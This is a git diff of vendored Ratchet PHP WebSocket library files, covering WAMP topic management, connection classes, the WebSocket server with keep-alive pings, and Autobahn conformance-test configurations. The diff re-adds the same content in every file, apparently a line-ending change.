b/vendor/cboden/ratchet/src/Ratchet/Wamp/Topic.php @@ -1,99 +1,99 @@ -id = $topicId; - $this->subscribers = new \SplObjectStorage; - } - - /** - * @return string - */ - public function getId() { - return $this->id; - } - - public function __toString() { - return $this->getId(); - } - - /** - * Send a message to all the connections in this topic - * @param string|array $msg Payload to publish - * @param array $exclude A list of session IDs the message should be excluded from (blacklist) - * @param array $eligible A list of session Ids the message should be send to (whitelist) - * @return Topic The same Topic object to chain - */ - public function broadcast($msg, array $exclude = array(), array $eligible = array()) { - $useEligible = (bool)count($eligible); - foreach ($this->subscribers as $client) { - if (in_array($client->WAMP->sessionId, $exclude)) { - continue; - } - - if ($useEligible && !in_array($client->WAMP->sessionId, $eligible)) { - continue; - } - - $client->event($this->id, $msg); - } - - return $this; - } - - /** - * @param WampConnection $conn - * @return boolean - */ - public function has(ConnectionInterface $conn) { - return $this->subscribers->contains($conn); - } - - /** - * @param WampConnection $conn - * @return Topic - */ - public function add(ConnectionInterface $conn) { - $this->subscribers->attach($conn); - - return $this; - } - - /** - * @param WampConnection $conn - * @return Topic - */ - public function remove(ConnectionInterface $conn) { - if ($this->subscribers->contains($conn)) { - $this->subscribers->detach($conn); - } - - return $this; - } - - /** - * {@inheritdoc} - */ - public function getIterator() { - return $this->subscribers; - } - - /** - * {@inheritdoc} - */ - public function count() { - return $this->subscribers->count(); - } -} +id = $topicId; + $this->subscribers = new \SplObjectStorage; + } + + /** + * @return string + */ + public function getId() { + return $this->id; + } + + public function __toString() { + return $this->getId(); + } + + /** + * Send a message to all the connections in this topic + * @param string|array $msg Payload to publish + * @param array $exclude A list of session IDs the message should be excluded from (blacklist) + * @param array $eligible A list of session Ids the message should be send to (whitelist) + * @return Topic The same Topic object to chain + */ + public function broadcast($msg, array $exclude = array(), array $eligible = array()) { + $useEligible = (bool)count($eligible); + foreach ($this->subscribers as $client) { + if (in_array($client->WAMP->sessionId, $exclude)) { + continue; + } + + if ($useEligible && !in_array($client->WAMP->sessionId, $eligible)) { + continue; + } + + $client->event($this->id, $msg); + } + + return $this; + } + + /** + * @param WampConnection $conn + * @return boolean + */ + public function has(ConnectionInterface $conn) { + return $this->subscribers->contains($conn); + } + + /** + * @param WampConnection $conn + * @return Topic + */ + public function add(ConnectionInterface $conn) { + $this->subscribers->attach($conn); + + return $this; + } + + /** + * @param WampConnection $conn + * @return Topic + */ + public function remove(ConnectionInterface $conn) { + if ($this->subscribers->contains($conn)) { + $this->subscribers->detach($conn); + } + + return $this; + } + + /** + * {@inheritdoc} + */ + public function getIterator() { + return $this->subscribers; + } + + /** + * {@inheritdoc} + */ + public function count() { + return $this->subscribers->count(); + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Wamp/TopicManager.php b/vendor/cboden/ratchet/src/Ratchet/Wamp/TopicManager.php index 354989a07a..dd06ada44f 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Wamp/TopicManager.php +++ b/vendor/cboden/ratchet/src/Ratchet/Wamp/TopicManager.php @@ -1,125 +1,125 @@ -app = $app; - } - - /** - * {@inheritdoc} - */ - public function onOpen(ConnectionInterface $conn) { - $conn->WAMP->subscriptions = new \SplObjectStorage; - $this->app->onOpen($conn); - } - - /** - * {@inheritdoc} - */ - public function onCall(ConnectionInterface $conn, $id, $topic, array $params) { - $this->app->onCall($conn, $id, $this->getTopic($topic), $params); - } - - /** - * {@inheritdoc} - */ - public function onSubscribe(ConnectionInterface $conn, $topic) { - $topicObj = $this->getTopic($topic); - - if ($conn->WAMP->subscriptions->contains($topicObj)) { - return; - } - - $this->topicLookup[$topic]->add($conn); - $conn->WAMP->subscriptions->attach($topicObj); - $this->app->onSubscribe($conn, $topicObj); - } - - /** - * {@inheritdoc} - */ - public function onUnsubscribe(ConnectionInterface $conn, $topic) { - $topicObj = $this->getTopic($topic); - - if (!$conn->WAMP->subscriptions->contains($topicObj)) { - return; - } - - $this->cleanTopic($topicObj, $conn); - - $this->app->onUnsubscribe($conn, $topicObj); - } - - /** - * {@inheritdoc} - */ - public function onPublish(ConnectionInterface $conn, $topic, $event, array $exclude, array $eligible) { - $this->app->onPublish($conn, $this->getTopic($topic), $event, $exclude, $eligible); - } - - /** - * {@inheritdoc} - */ - public function onClose(ConnectionInterface $conn) { - $this->app->onClose($conn); - - foreach ($this->topicLookup as $topic) { - $this->cleanTopic($topic, $conn); - } - } - - /** - * {@inheritdoc} - */ - public function onError(ConnectionInterface $conn, \Exception $e) { - $this->app->onError($conn, $e); - } - - /** - * {@inheritdoc} - */ - public function getSubProtocols() { - if ($this->app instanceof WsServerInterface) { - return $this->app->getSubProtocols(); - } - - return array(); - } - - /** - * @param string - * @return Topic - */ - protected function getTopic($topic) { - if (!array_key_exists($topic, $this->topicLookup)) { - $this->topicLookup[$topic] = new Topic($topic); - } - - return $this->topicLookup[$topic]; - } - - protected function cleanTopic(Topic $topic, ConnectionInterface $conn) { - if ($conn->WAMP->subscriptions->contains($topic)) { - $conn->WAMP->subscriptions->detach($topic); - } - - $this->topicLookup[$topic->getId()]->remove($conn); - - if (0 === $topic->count()) { - unset($this->topicLookup[$topic->getId()]); - } - } -} +app = $app; + } + + /** + * {@inheritdoc} + */ + public function onOpen(ConnectionInterface $conn) { + $conn->WAMP->subscriptions = new \SplObjectStorage; + $this->app->onOpen($conn); + } + + /** + * {@inheritdoc} + */ + public function onCall(ConnectionInterface $conn, $id, $topic, array $params) { + $this->app->onCall($conn, $id, $this->getTopic($topic), $params); + } + + /** + * {@inheritdoc} + */ + public function onSubscribe(ConnectionInterface $conn, $topic) { + $topicObj = $this->getTopic($topic); + + if ($conn->WAMP->subscriptions->contains($topicObj)) { + return; + } + + $this->topicLookup[$topic]->add($conn); + $conn->WAMP->subscriptions->attach($topicObj); + $this->app->onSubscribe($conn, $topicObj); + } + + /** + * {@inheritdoc} + */ + public function onUnsubscribe(ConnectionInterface $conn, $topic) { + $topicObj = $this->getTopic($topic); + + if (!$conn->WAMP->subscriptions->contains($topicObj)) { + return; + } + + $this->cleanTopic($topicObj, $conn); + + $this->app->onUnsubscribe($conn, $topicObj); + } + + /** + * {@inheritdoc} + */ + public function onPublish(ConnectionInterface $conn, $topic, $event, array $exclude, array $eligible) { + $this->app->onPublish($conn, $this->getTopic($topic), $event, $exclude, $eligible); + } + + /** + * {@inheritdoc} + */ + public function onClose(ConnectionInterface $conn) { + $this->app->onClose($conn); + + foreach ($this->topicLookup as $topic) { + $this->cleanTopic($topic, $conn); + } + } + + /** + * {@inheritdoc} + */ + public function onError(ConnectionInterface $conn, \Exception $e) { + $this->app->onError($conn, $e); + } + + /** + * {@inheritdoc} + */ + public function getSubProtocols() { + if ($this->app instanceof WsServerInterface) { + return $this->app->getSubProtocols(); + } + + return array(); + } + + /** + * @param string + * @return Topic + */ + protected function getTopic($topic) { + if (!array_key_exists($topic, $this->topicLookup)) { + $this->topicLookup[$topic] = new Topic($topic); + } + + return $this->topicLookup[$topic]; + } + + protected function cleanTopic(Topic $topic, ConnectionInterface $conn) { + if ($conn->WAMP->subscriptions->contains($topic)) { + $conn->WAMP->subscriptions->detach($topic); + } + + $this->topicLookup[$topic->getId()]->remove($conn); + + if (0 === $topic->count()) { + unset($this->topicLookup[$topic->getId()]); + } + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Wamp/WampConnection.php b/vendor/cboden/ratchet/src/Ratchet/Wamp/WampConnection.php index 250ceaf71f..dda1e4eb6a 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Wamp/WampConnection.php +++ b/vendor/cboden/ratchet/src/Ratchet/Wamp/WampConnection.php @@ -1,115 +1,115 @@ -WAMP = new \StdClass; - $this->WAMP->sessionId = str_replace('.', '', uniqid(mt_rand(), true)); - $this->WAMP->prefixes = array(); - - $this->send(json_encode(array(WAMP::MSG_WELCOME, $this->WAMP->sessionId, 1, \Ratchet\VERSION))); - } - - /** - * Successfully respond to a call made by the client - * @param string $id The unique ID given by the client to respond to - * @param array $data an object or array - * @return WampConnection - */ - public function callResult($id, $data = array()) { - return $this->send(json_encode(array(WAMP::MSG_CALL_RESULT, $id, $data))); - } - - /** - * Respond with an error to a client call - * @param string $id The unique ID given by the client to respond to - * @param string $errorUri The URI given to identify the specific error - * @param string $desc A developer-oriented description of the error - * @param string $details An optional human readable detail message to send back - * @return WampConnection - */ - public function callError($id, $errorUri, $desc = '', $details = null) { - if ($errorUri instanceof Topic) { - $errorUri = (string)$errorUri; - } - - $data = array(WAMP::MSG_CALL_ERROR, $id, $errorUri, $desc); - - if (null !== $details) { - $data[] = $details; - } - - return $this->send(json_encode($data)); - } - - /** - * @param string $topic The topic to broadcast to - * @param mixed $msg Data to send with the event. Anything that is json'able - * @return WampConnection - */ - public function event($topic, $msg) { - return $this->send(json_encode(array(WAMP::MSG_EVENT, (string)$topic, $msg))); - } - - /** - * @param string $curie - * @param string $uri - * @return WampConnection - */ - public function prefix($curie, $uri) { - $this->WAMP->prefixes[$curie] = (string)$uri; - - return $this->send(json_encode(array(WAMP::MSG_PREFIX, $curie, (string)$uri))); - } - - /** - * Get the full request URI from the connection object if a prefix has been established for it - * @param string $uri - * @return string - */ - public function getUri($uri) { - $curieSeperator = ':'; - - if (preg_match('/http(s*)\:\/\//', $uri) == false) { - if (strpos($uri, $curieSeperator) !== false) { - list($prefix, $action) = explode($curieSeperator, $uri); - - if(isset($this->WAMP->prefixes[$prefix]) === true){ - return $this->WAMP->prefixes[$prefix] . '#' . $action; - } - } - } - - return $uri; - } - - /** - * @internal - */ - public function send($data) { - $this->getConnection()->send($data); - - return $this; - } - - /** - * {@inheritdoc} - */ - public function close($opt = null) { - $this->getConnection()->close($opt); - } - -} +WAMP = new \StdClass; + $this->WAMP->sessionId = str_replace('.', '', uniqid(mt_rand(), true)); + $this->WAMP->prefixes = array(); + + $this->send(json_encode(array(WAMP::MSG_WELCOME, $this->WAMP->sessionId, 1, \Ratchet\VERSION))); + } + + /** + * Successfully respond to a call made by the client + * @param string $id The unique ID given by the client to respond to + * @param array $data an object or array + * @return WampConnection + */ + public function callResult($id, $data = array()) { + return $this->send(json_encode(array(WAMP::MSG_CALL_RESULT, $id, $data))); + } + + /** + * Respond with an error to a client call + * @param string $id The unique ID given by the client to respond to + * @param string $errorUri The URI given to identify the specific error + * @param string $desc A developer-oriented description of the error + * @param string $details An optional human readable detail message to send back + * @return WampConnection + */ + public function callError($id, $errorUri, $desc = '', $details = null) { + if ($errorUri instanceof Topic) { + $errorUri = (string)$errorUri; + } + + $data = array(WAMP::MSG_CALL_ERROR, $id, $errorUri, $desc); + + if (null !== $details) { + $data[] = $details; + } + + return $this->send(json_encode($data)); + } + + /** + * @param string $topic The topic to broadcast to + * @param mixed $msg Data to send with the event. Anything that is json'able + * @return WampConnection + */ + public function event($topic, $msg) { + return $this->send(json_encode(array(WAMP::MSG_EVENT, (string)$topic, $msg))); + } + + /** + * @param string $curie + * @param string $uri + * @return WampConnection + */ + public function prefix($curie, $uri) { + $this->WAMP->prefixes[$curie] = (string)$uri; + + return $this->send(json_encode(array(WAMP::MSG_PREFIX, $curie, (string)$uri))); + } + + /** + * Get the full request URI from the connection object if a prefix has been established for it + * @param string $uri + * @return string + */ + public function getUri($uri) { + $curieSeperator = ':'; + + if (preg_match('/http(s*)\:\/\//', $uri) == false) { + if (strpos($uri, $curieSeperator) !== false) { + list($prefix, $action) = explode($curieSeperator, $uri); + + if(isset($this->WAMP->prefixes[$prefix]) === true){ + return $this->WAMP->prefixes[$prefix] . '#' . $action; + } + } + } + + return $uri; + } + + /** + * @internal + */ + public function send($data) { + $this->getConnection()->send($data); + + return $this; + } + + /** + * {@inheritdoc} + */ + public function close($opt = null) { + $this->getConnection()->close($opt); + } + +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Wamp/WampServer.php b/vendor/cboden/ratchet/src/Ratchet/Wamp/WampServer.php index cdd6bb9495..5d710aaaf6 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Wamp/WampServer.php +++ b/vendor/cboden/ratchet/src/Ratchet/Wamp/WampServer.php @@ -1,67 +1,67 @@ -wampProtocol = new ServerProtocol(new TopicManager($app)); - } - - /** - * {@inheritdoc} - */ - public function onOpen(ConnectionInterface $conn) { - $this->wampProtocol->onOpen($conn); - } - - /** - * {@inheritdoc} - */ - public function onMessage(ConnectionInterface $conn, $msg) { - try { - $this->wampProtocol->onMessage($conn, $msg); - } catch (Exception $we) { - $conn->close(1007); - } - } - - /** - * {@inheritdoc} - */ - public function onClose(ConnectionInterface $conn) { - $this->wampProtocol->onClose($conn); - } - - /** - * {@inheritdoc} - */ - public function onError(ConnectionInterface $conn, \Exception $e) { - $this->wampProtocol->onError($conn, $e); - } - - /** - * {@inheritdoc} - */ - public function getSubProtocols() { - return $this->wampProtocol->getSubProtocols(); - } -} +wampProtocol = new ServerProtocol(new TopicManager($app)); + } + + /** + * {@inheritdoc} + */ + public function onOpen(ConnectionInterface $conn) { + $this->wampProtocol->onOpen($conn); + } + + /** + * {@inheritdoc} + */ + public function onMessage(ConnectionInterface $conn, $msg) { + try { + $this->wampProtocol->onMessage($conn, $msg); + } catch (Exception $we) { + $conn->close(1007); + } + } + + /** + * {@inheritdoc} + */ + public function onClose(ConnectionInterface $conn) { + $this->wampProtocol->onClose($conn); + } + + /** + * {@inheritdoc} + */ + public function onError(ConnectionInterface $conn, \Exception $e) { + $this->wampProtocol->onError($conn, $e); + } + + /** + * {@inheritdoc} + */ + public function getSubProtocols() { + return $this->wampProtocol->getSubProtocols(); + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Wamp/WampServerInterface.php b/vendor/cboden/ratchet/src/Ratchet/Wamp/WampServerInterface.php index 81c6998853..15c521d912 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Wamp/WampServerInterface.php +++ b/vendor/cboden/ratchet/src/Ratchet/Wamp/WampServerInterface.php @@ -1,43 +1,43 @@ -connection = $conn; - $this->buffer = $buffer; - } -} +connection = $conn; + $this->buffer = $buffer; + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/WebSocket/MessageCallableInterface.php b/vendor/cboden/ratchet/src/Ratchet/WebSocket/MessageCallableInterface.php index e6257b868f..b5c094eeb5 100644 --- a/vendor/cboden/ratchet/src/Ratchet/WebSocket/MessageCallableInterface.php +++ b/vendor/cboden/ratchet/src/Ratchet/WebSocket/MessageCallableInterface.php @@ -1,8 +1,8 @@ -WebSocket->closing) { - if (!($msg instanceof DataInterface)) { - $msg = new Frame($msg); - } - - $this->getConnection()->send($msg->getContents()); - } - - return $this; - } - - /** - * @param int|\Ratchet\RFC6455\Messaging\DataInterface - */ - public function close($code = 1000) { - if ($this->WebSocket->closing) { - return; - } - - if ($code instanceof DataInterface) { - $this->send($code); - } else { - $this->send(new Frame(pack('n', $code), true, Frame::OP_CLOSE)); - } - - $this->getConnection()->close(); - - $this->WebSocket->closing = true; - } -} +WebSocket->closing) { + if (!($msg instanceof DataInterface)) { + $msg = new Frame($msg); + } + + $this->getConnection()->send($msg->getContents()); + } + + return $this; + } + + /** + * @param int|\Ratchet\RFC6455\Messaging\DataInterface + */ + public function close($code = 1000) { + if ($this->WebSocket->closing) { + return; + } + + if ($code instanceof DataInterface) { + $this->send($code); + } else { + $this->send(new Frame(pack('n', $code), true, Frame::OP_CLOSE)); + } + + $this->getConnection()->close(); + + $this->WebSocket->closing = true; + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/WebSocket/WsServer.php b/vendor/cboden/ratchet/src/Ratchet/WebSocket/WsServer.php index 884ad75f83..803060420a 100644 --- a/vendor/cboden/ratchet/src/Ratchet/WebSocket/WsServer.php +++ b/vendor/cboden/ratchet/src/Ratchet/WebSocket/WsServer.php @@ -1,225 +1,225 @@ -msgCb = function(ConnectionInterface $conn, MessageInterface $msg) { - $this->delegate->onMessage($conn, $msg); - }; - } elseif ($component instanceof DataComponentInterface) { - $this->msgCb = function(ConnectionInterface $conn, MessageInterface $msg) { - $this->delegate->onMessage($conn, $msg->getPayload()); - }; - } else { - throw new \UnexpectedValueException('Expected instance of \Ratchet\WebSocket\MessageComponentInterface or \Ratchet\MessageComponentInterface'); - } - - if (bin2hex('✓') !== 'e29c93') { - throw new \DomainException('Bad encoding, unicode character ✓ did not match expected value. Ensure charset UTF-8 and check ini val mbstring.func_autoload'); - } - - $this->delegate = $component; - $this->connections = new \SplObjectStorage; - - $this->closeFrameChecker = new CloseFrameChecker; - $this->handshakeNegotiator = new ServerNegotiator(new RequestVerifier); - $this->handshakeNegotiator->setStrictSubProtocolCheck(true); - - if ($component instanceof WsServerInterface) { - $this->handshakeNegotiator->setSupportedSubProtocols($component->getSubProtocols()); - } - - $this->pongReceiver = function() {}; - - $reusableUnderflowException = new \UnderflowException; - $this->ueFlowFactory = function() use ($reusableUnderflowException) { - return $reusableUnderflowException; - }; - } - - /** - * {@inheritdoc} - */ - public function onOpen(ConnectionInterface $conn, RequestInterface $request = null) { - if (null === $request) { - throw new \UnexpectedValueException('$request can not be null'); - } - - $conn->httpRequest = $request; - - $conn->WebSocket = new \StdClass; - $conn->WebSocket->closing = false; - - $response = $this->handshakeNegotiator->handshake($request)->withHeader('X-Powered-By', \Ratchet\VERSION); - - $conn->send(gPsr\str($response)); - - if (101 !== $response->getStatusCode()) { - return $conn->close(); - } - - $wsConn = new WsConnection($conn); - - $streamer = new MessageBuffer( - $this->closeFrameChecker, - function(MessageInterface $msg) use ($wsConn) { - $cb = $this->msgCb; - $cb($wsConn, $msg); - }, - function(FrameInterface $frame) use ($wsConn) { - $this->onControlFrame($frame, $wsConn); - }, - true, - $this->ueFlowFactory - ); - - $this->connections->attach($conn, new ConnContext($wsConn, $streamer)); - - return $this->delegate->onOpen($wsConn); - } - - /** - * {@inheritdoc} - */ - public function onMessage(ConnectionInterface $from, $msg) { - if ($from->WebSocket->closing) { - return; - } - - $this->connections[$from]->buffer->onData($msg); - } - - /** - * {@inheritdoc} - */ - public function onClose(ConnectionInterface $conn) { - if ($this->connections->contains($conn)) { - $context = $this->connections[$conn]; - $this->connections->detach($conn); - - $this->delegate->onClose($context->connection); - } - } - - /** - * {@inheritdoc} - */ - public function onError(ConnectionInterface $conn, \Exception $e) { - if ($this->connections->contains($conn)) { - $this->delegate->onError($this->connections[$conn]->connection, $e); - } else { - $conn->close(); - } - } - - public function onControlFrame(FrameInterface $frame, WsConnection $conn) { - switch ($frame->getOpCode()) { - case Frame::OP_CLOSE: - $conn->close($frame); - break; - case Frame::OP_PING: - $conn->send(new Frame($frame->getPayload(), true, Frame::OP_PONG)); - break; - case Frame::OP_PONG: - $pongReceiver = $this->pongReceiver; - $pongReceiver($frame, $conn); - break; - } - } - - public function setStrictSubProtocolCheck($enable) { - $this->handshakeNegotiator->setStrictSubProtocolCheck($enable); - } - - public function enableKeepAlive(LoopInterface $loop, $interval = 30) { - $lastPing = new Frame(uniqid(), true, Frame::OP_PING); - $pingedConnections = new \SplObjectStorage; - $splClearer = new \SplObjectStorage; - - $this->pongReceiver = function(FrameInterface $frame, $wsConn) use ($pingedConnections, &$lastPing) { - if ($frame->getPayload() === $lastPing->getPayload()) { - $pingedConnections->detach($wsConn); - } - }; - - $loop->addPeriodicTimer((int)$interval, function() use ($pingedConnections, &$lastPing, $splClearer) { - foreach ($pingedConnections as $wsConn) { - $wsConn->close(); - } - $pingedConnections->removeAllExcept($splClearer); - - $lastPing = new Frame(uniqid(), true, Frame::OP_PING); - - foreach ($this->connections as $key => $conn) { - $wsConn = $this->connections[$conn]->connection; - - $wsConn->send($lastPing); - $pingedConnections->attach($wsConn); - } - }); - } -} +msgCb = function(ConnectionInterface $conn, MessageInterface $msg) { + $this->delegate->onMessage($conn, $msg); + }; + } elseif ($component instanceof DataComponentInterface) { + $this->msgCb = function(ConnectionInterface $conn, MessageInterface $msg) { + $this->delegate->onMessage($conn, $msg->getPayload()); + }; + } else { + throw new \UnexpectedValueException('Expected instance of \Ratchet\WebSocket\MessageComponentInterface or \Ratchet\MessageComponentInterface'); + } + + if (bin2hex('✓') !== 'e29c93') { + throw new \DomainException('Bad encoding, unicode character ✓ did not match expected value. Ensure charset UTF-8 and check ini val mbstring.func_autoload'); + } + + $this->delegate = $component; + $this->connections = new \SplObjectStorage; + + $this->closeFrameChecker = new CloseFrameChecker; + $this->handshakeNegotiator = new ServerNegotiator(new RequestVerifier); + $this->handshakeNegotiator->setStrictSubProtocolCheck(true); + + if ($component instanceof WsServerInterface) { + $this->handshakeNegotiator->setSupportedSubProtocols($component->getSubProtocols()); + } + + $this->pongReceiver = function() {}; + + $reusableUnderflowException = new \UnderflowException; + $this->ueFlowFactory = function() use ($reusableUnderflowException) { + return $reusableUnderflowException; + }; + } + + /** + * {@inheritdoc} + */ + public function onOpen(ConnectionInterface $conn, RequestInterface $request = null) { + if (null === $request) { + throw new \UnexpectedValueException('$request can not be null'); + } + + $conn->httpRequest = $request; + + $conn->WebSocket = new \StdClass; + $conn->WebSocket->closing = false; + + $response = $this->handshakeNegotiator->handshake($request)->withHeader('X-Powered-By', \Ratchet\VERSION); + + $conn->send(gPsr\str($response)); + + if (101 !== $response->getStatusCode()) { + return $conn->close(); + } + + $wsConn = new WsConnection($conn); + + $streamer = new MessageBuffer( + $this->closeFrameChecker, + function(MessageInterface $msg) use ($wsConn) { + $cb = $this->msgCb; + $cb($wsConn, $msg); + }, + function(FrameInterface $frame) use ($wsConn) { + $this->onControlFrame($frame, $wsConn); + }, + true, + $this->ueFlowFactory + ); + + $this->connections->attach($conn, new ConnContext($wsConn, $streamer)); + + return $this->delegate->onOpen($wsConn); + } + + /** + * {@inheritdoc} + */ + public function onMessage(ConnectionInterface $from, $msg) { + if ($from->WebSocket->closing) { + return; + } + + $this->connections[$from]->buffer->onData($msg); + } + + /** + * {@inheritdoc} + */ + public function onClose(ConnectionInterface $conn) { + if ($this->connections->contains($conn)) { + $context = $this->connections[$conn]; + $this->connections->detach($conn); + + $this->delegate->onClose($context->connection); + } + } + + /** + * {@inheritdoc} + */ + public function onError(ConnectionInterface $conn, \Exception $e) { + if ($this->connections->contains($conn)) { + $this->delegate->onError($this->connections[$conn]->connection, $e); + } else { + $conn->close(); + } + } + + public function onControlFrame(FrameInterface $frame, WsConnection $conn) { + switch ($frame->getOpCode()) { + case Frame::OP_CLOSE: + $conn->close($frame); + break; + case Frame::OP_PING: + $conn->send(new Frame($frame->getPayload(), true, Frame::OP_PONG)); + break; + case Frame::OP_PONG: + $pongReceiver = $this->pongReceiver; + $pongReceiver($frame, $conn); + break; + } + } + + public function setStrictSubProtocolCheck($enable) { + $this->handshakeNegotiator->setStrictSubProtocolCheck($enable); + } + + public function enableKeepAlive(LoopInterface $loop, $interval = 30) { + $lastPing = new Frame(uniqid(), true, Frame::OP_PING); + $pingedConnections = new \SplObjectStorage; + $splClearer = new \SplObjectStorage; + + $this->pongReceiver = function(FrameInterface $frame, $wsConn) use ($pingedConnections, &$lastPing) { + if ($frame->getPayload() === $lastPing->getPayload()) { + $pingedConnections->detach($wsConn); + } + }; + + $loop->addPeriodicTimer((int)$interval, function() use ($pingedConnections, &$lastPing, $splClearer) { + foreach ($pingedConnections as $wsConn) { + $wsConn->close(); + } + $pingedConnections->removeAllExcept($splClearer); + + $lastPing = new Frame(uniqid(), true, Frame::OP_PING); + + foreach ($this->connections as $key => $conn) { + $wsConn = $this->connections[$conn]->connection; + + $wsConn->send($lastPing); + $pingedConnections->attach($wsConn); + } + }); + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/WebSocket/WsServerInterface.php b/vendor/cboden/ratchet/src/Ratchet/WebSocket/WsServerInterface.php index 9d282bed87..15d1f7b7f0 100644 --- a/vendor/cboden/ratchet/src/Ratchet/WebSocket/WsServerInterface.php +++ b/vendor/cboden/ratchet/src/Ratchet/WebSocket/WsServerInterface.php @@ -1,14 +1,14 @@ -send($msg); - } - - public function onOpen(ConnectionInterface $conn) { - } - - public function onClose(ConnectionInterface $conn) { - } - - public function onError(ConnectionInterface $conn, \Exception $e) { - } -} - - $port = $argc > 1 ? $argv[1] : 8000; - $impl = sprintf('React\EventLoop\%sLoop', $argc > 2 ? $argv[2] : 'StreamSelect'); - - $loop = new $impl; - $sock = new React\Socket\Server('0.0.0.0:' . $port, $loop); - - $wsServer = new Ratchet\WebSocket\WsServer(new BinaryEcho); - // This is enabled to test https://github.com/ratchetphp/Ratchet/issues/430 - // The time is left at 10 minutes so that it will not try to every ping anything - // This causes the Ratchet server to crash on test 2.7 - $wsServer->enableKeepAlive($loop, 600); - - $app = new Ratchet\Http\HttpServer($wsServer); - - $server = new Ratchet\Server\IoServer($app, $sock, $loop); - $server->run(); +send($msg); + } + + public function onOpen(ConnectionInterface $conn) { + } + + public function onClose(ConnectionInterface $conn) { + } + + public function onError(ConnectionInterface $conn, \Exception $e) { + } +} + + $port = $argc > 1 ? $argv[1] : 8000; + $impl = sprintf('React\EventLoop\%sLoop', $argc > 2 ? $argv[2] : 'StreamSelect'); + + $loop = new $impl; + $sock = new React\Socket\Server('0.0.0.0:' . $port, $loop); + + $wsServer = new Ratchet\WebSocket\WsServer(new BinaryEcho); + // This is enabled to test https://github.com/ratchetphp/Ratchet/issues/430 + // The time is left at 10 minutes so that it will not try to every ping anything + // This causes the Ratchet server to crash on test 2.7 + $wsServer->enableKeepAlive($loop, 600); + + $app = new Ratchet\Http\HttpServer($wsServer); + + $server = new Ratchet\Server\IoServer($app, $sock, $loop); + $server->run(); diff --git a/vendor/cboden/ratchet/tests/autobahn/fuzzingclient-all.json b/vendor/cboden/ratchet/tests/autobahn/fuzzingclient-all.json index 99f9e06ddf..0494cf36c5 100644 --- a/vendor/cboden/ratchet/tests/autobahn/fuzzingclient-all.json +++ b/vendor/cboden/ratchet/tests/autobahn/fuzzingclient-all.json @@ -1,15 +1,15 @@ -{ - "options": {"failByDrop": false} - , "outdir": "reports/ab" - - , "servers": [ - {"agent": "Ratchet/0.4 libevent", "url": "ws://localhost:8001", "options": {"version": 18}} - , {"agent": "Ratchet/0.4 libev", "url": "ws://localhost:8004", "options": {"version": 18}} - , {"agent": "Ratchet/0.4 streams", "url": "ws://localhost:8002", "options": {"version": 18}} - , {"agent": "AutobahnTestSuite/0.5.9", "url": "ws://localhost:8000", "options": {"version": 18}} - ] - - , "cases": ["*"] - , "exclude-cases": [] - , "exclude-agent-cases": {} -} +{ + "options": {"failByDrop": false} + , "outdir": "reports/ab" + + , "servers": [ + {"agent": "Ratchet/0.4 libevent", "url": "ws://localhost:8001", "options": {"version": 18}} + , {"agent": "Ratchet/0.4 libev", "url": "ws://localhost:8004", "options": {"version": 18}} + , {"agent": "Ratchet/0.4 streams", "url": "ws://localhost:8002", "options": {"version": 18}} + , {"agent": "AutobahnTestSuite/0.5.9", "url": "ws://localhost:8000", "options": {"version": 18}} + ] + + , "cases": ["*"] + , "exclude-cases": [] + , "exclude-agent-cases": {} +} diff --git a/vendor/cboden/ratchet/tests/autobahn/fuzzingclient-profile.json b/vendor/cboden/ratchet/tests/autobahn/fuzzingclient-profile.json index a3e957782e..e81a9fd4ec 100644 --- a/vendor/cboden/ratchet/tests/autobahn/fuzzingclient-profile.json +++ b/vendor/cboden/ratchet/tests/autobahn/fuzzingclient-profile.json @@ -1,12 +1,12 @@ -{ - "options": {"failByDrop": false} - , "outdir": "reports/profile" - - , "servers": [ - {"agent": "Ratchet", "url": "ws://localhost:8000", "options": {"version": 18}} - ] - - , "cases": ["9.7.4"] - , "exclude-cases": ["1.2.*", "2.3", "2.4", "2.6", "9.2.*", "9.4.*", "9.6.*", "9.8.*"] - , "exclude-agent-cases": {} -} +{ + "options": {"failByDrop": false} + , "outdir": "reports/profile" + + , "servers": [ + {"agent": "Ratchet", "url": "ws://localhost:8000", "options": {"version": 18}} + ] + + , "cases": ["9.7.4"] + , "exclude-cases": ["1.2.*", "2.3", "2.4", "2.6", "9.2.*", "9.4.*", "9.6.*", "9.8.*"] + , "exclude-agent-cases": {} +} diff --git a/vendor/cboden/ratchet/tests/autobahn/fuzzingclient-quick.json b/vendor/cboden/ratchet/tests/autobahn/fuzzingclient-quick.json index f606a534df..c92e8057f8 100644 --- a/vendor/cboden/ratchet/tests/autobahn/fuzzingclient-quick.json +++ b/vendor/cboden/ratchet/tests/autobahn/fuzzingclient-quick.json @@ -1,12 +1,12 @@ -{ - "options": {"failByDrop": false} - , "outdir": "reports/rfc" - - , "servers": [ - {"agent": "Ratchet", "url": "ws://localhost:8000", "options": {"version": 18}} - ] - - , "cases": ["*"] - , "exclude-cases": [] - , "exclude-agent-cases": {} -} +{ + "options": {"failByDrop": false} + , "outdir": "reports/rfc" + + , "servers": [ + {"agent": "Ratchet", "url": "ws://localhost:8000", "options": {"version": 18}} + ] + + , "cases": ["*"] + , "exclude-cases": [] + , "exclude-agent-cases": {} +} diff --git a/vendor/cboden/ratchet/tests/bootstrap.php b/vendor/cboden/ratchet/tests/bootstrap.php index 7b7e074cb4..40791ba73a 100644 --- a/vendor/cboden/ratchet/tests/bootstrap.php +++ b/vendor/cboden/ratchet/tests/bootstrap.php @@ -1,4 +1,4 @@ -addPsr4('Ratchet\\', __DIR__ . '/helpers/Ratchet'); +addPsr4('Ratchet\\', __DIR__ . '/helpers/Ratchet'); diff --git a/vendor/cboden/ratchet/tests/helpers/Ratchet/AbstractMessageComponentTestCase.php b/vendor/cboden/ratchet/tests/helpers/Ratchet/AbstractMessageComponentTestCase.php index 82ffa6c06d..8c298e5b4c 100644 --- a/vendor/cboden/ratchet/tests/helpers/Ratchet/AbstractMessageComponentTestCase.php +++ b/vendor/cboden/ratchet/tests/helpers/Ratchet/AbstractMessageComponentTestCase.php @@ -1,50 +1,50 @@ -_app = $this->getMock($this->getComponentClassString()); - $decorator = 